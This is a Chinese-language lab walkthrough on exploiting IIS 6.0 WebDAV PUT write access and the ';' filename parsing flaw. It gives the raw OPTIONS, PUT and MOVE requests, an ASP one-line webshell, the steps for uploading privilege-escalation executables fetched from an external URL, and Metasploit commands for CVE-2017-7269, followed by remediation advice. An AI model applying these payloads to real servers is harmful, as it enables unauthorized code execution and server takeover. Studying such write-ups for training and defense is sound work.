是的炒冷饭
0x01 事情起因#
整理遗漏靶场,靶场本身很简单,抛砖引玉,主要是想分享几篇好文章
0x02 漏洞介绍#
IIS 6.0 解析漏洞介绍#
IIS 是 Internet Information Services 的缩写,意为互联网信息服务,是由微软公司提供的基于运行 Microsoft Windows 的互联网基本服务。IIS 目前只适用于 Windows 系统,不适用于其他操作系统
IIS6
解析漏洞基于文件名,该版本 默认会将*.asp;.jpg
此种格式的文件名,当成Asp
解析,原理是服务器默认不解析;号及其后面的内容,相当于截断
另外,IIS6.x 除了会将扩展名为.asp 的文件解析为 asp 之外,还默认会将扩展名为.asa,.cdx,.cer 解析为 asp,
从网站属性 -> 主目录 -> 配置 可以看出,他们都是调用了 asp.dll 进行的解析。
IIS PUT 漏洞介绍#
IIS 6.0 PUT 上传漏洞。产生原因是 IIS Server 在 Web 服务扩展中开启了 WebDAV。并且管理员在配置权限时,没有遵循最小原则。给 IIS 配置了可以写入的权限,包括网站根目录。
也叫做 IIS 写权限漏洞
0x03 靶场复现#
题目描述#
背景介绍:
某日,安全工程师 "墨者" 对一内网进行授权扫描,在扫描过程中,发现了一台 Windows2003 的服务器,开启了 web 服务,业主单位员工坚称是一个调试服务器,只安装了 IIS6.0,无任何代码程序,不可能会有安全问题。"墨者" 一听就来劲了,拿起工具,手起刀落~~~~~~
实训目标
- 了解 IIS WebDAV 安全配置
- 了解 HTTP 标准方法外的其他一些方法
- 掌握 HTTP PUT 的方法测试利用
- 了解 IIS6 的畸形解析漏洞及利用测试方法
解题方向
通过上传程序脚本,获取 WEB 的权限;
PS:不要过于依赖现成工具!
题目打开长这样:
思路探寻#
先看下iis
版本,可以用浏览器插件Wappalyzer
,也可以使用OPTIONS
请求方法查看:
HTTP1.0 定义了三种请求方法: GET、POST、HEAD
HTTP1.1 新增了五种请求方法:OPTIONS、PUT、DELETE、TRACE 、CONNECT
curl -X OPTIONS http://xxx.xxx.xxx.xxx:yyy/ -I
可以看到版本是6.0
burp 手操#
我们先来使用手动操作一遍,不建议成为工具党
将GET
修改为OPTIONS
查看可执行命令:
然后我们PUT
一个ASP
一句话上去,文件名随便写比如2.txt
:
<%eval request("soapffz")%>
返回201 Created
,创建成功
PS:
这里注意一个问题,不要只把GET
改为PUT 2.txt
,后面还有一个斜杠/
记得删掉
我开始也搞了半天,看解析思路评论区很多老哥说怎么试都不行最后精简为自己手写请求语句和HOST
才成功
我看了下都是没有删除这个斜杠,所以做题一定要细心啊
然后就可以使用MOVE
命令把2.txt
改为2.asp;.jpg
让解析漏洞解析asp
核心语句如下;
MOVE /2.txt HTTP/1.1
Host: ip:端口
Destination: /2.asp;.jpg
<%eval request("soapffz")%>
会返回401 Unauthorized
,这个不影响,直接上蚁剑连接:
成功拿到flag
工具操作#
IIS Put Scaner v1.3
,来自nosec
,源网页已经找不到了,可以简单探测:
可以看到PUT
为YES
,所以具有写权限,还有一款扫描工具DotNetScan
:
上传asp
木马的话使用著名工具桂林老兵的iiswrite
软件的标题为:对IIS写权限的利用 / 自定义数据包提交 - 桂林老兵作品
(目前下载默认被火绒查杀)
知道了有写权限后,我们来上传把asp
后缀改为txt
的木马 (只能上传txt
文件)
<%eval request("soapffz")%>
返回201
说明上传成功,但是此时木马不能被解析,再用工具的MOVE
或者COPY
方法把后缀改为asp
但是这个工具有一个缺陷,就是默认只能测试80
端口的站点,如果站点不在80
端口无法使用:
0x04 尝试拿下服务器#
看看我是啥权限#
靶场做完了,不继续搞一下不就浪费了我 4 个靶场币吗?
看下权限:
连whoami
都不能执行,权限很低啊,根据参考文章:拿到 webshell 后虚拟终端拒绝访问
操作如下;
下载 cmd.exe 和 iis6.0.exe
https://sudo0m.coding.me/update/webshell/cmd.exe
https://sudo0m.coding.me/update/webshell/iis6.exe
然后上传到网站根目录,这里上传的时候蚁剑还报了500 Internal Server
错误
用菜刀上传成功:
设置终端为cmd.exe
:setp c:\inetpub\wwwroot\test.exe
然后就可以用iis6.exe
加上命令执行命令了:
执行了下whoami
已经是system
权限了,那也就没机会练习提权了
附上secwiki
的Windows
提权GitHub 项目
CVE-2017-7269#
这个exp
的利用不是那么一帆风顺的,参考文章:IIS6_WebDAV 远程代码执行漏洞 (CVE-2017-7269) 的正确打开方式
msf
自带一个利用模块exploit/windows/iis/iis_webdav_scstoragepathfromurl
但是实测失败:
利用失败的原因#
失败的原因有以下几种:
端口和域名绑定问题#
实际环境中,iis 绑定的域名和端口可能不是默认的,比如:
默认绑定:
非默认绑定:
If 头信息中的两个 url 是要求和站点绑定相匹配的,否则只能收到一个 502。这里所说的相匹配指的是 if 头中 url 的 port 必须与站点绑定的端口相匹配,而 if 头中的域名只需要和 host 头保持一致就好
在我这种实战场景中如果遇到这种情况一般就没办法了,因为服务器不是自己的进不去设置
物理路径#
POC 中 If 头中的第一个 URL 会被解析成物理路径,默认情况下是 C:\Inetpub\wwwroot\,也就是 19, 在覆盖缓冲区的时候填充的字符长度要根据物理路径的长度来决定,且物理路径长度 + 填充字符的个数 = 114。POC 中的是按照默认的物理路径(19 位)来计算填充字符的长度的,当物理路径的长度不为 19 位的时候就会收到一个 500。(这里物理路径长度计算方法要加上最后的 \)
爆破物理路径长度并检测漏洞工具IIS6_WebDAV_Scanner
,但是这个靶场检测不出来:
我这个靶场就是默认的物理路径,也就是长度 19,所以不是物理路径的问题
试下网上的exp
,下载exp
并放入msf
的exploit
目录:
mv cve-2017-7269.rb cve_2017_7269.rb
(-改为_否则无法识别)
mv cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
use exploit/windows/iis/cve_2017_7269
(如果找不到脚本,可尝试执行reload_all,并再次重启msf)
0x05 漏洞修复建议#
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是 IIS 服务器,甚至可能是运行 IIS 的 Windows 主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想
由于微软并不认为 IIS6.0 这是一个漏洞,也没有推出 IIS 6.0 的补丁,因此漏洞需要自己修复。
- 限制上传目录执行权限,不允许执行脚本 (图片来自参考文章 1)
-
不允许新建目录
-
上传的文件需经过重命名 (时间戳 + 随机数 +.jpg 等)
参考文章:
本文完。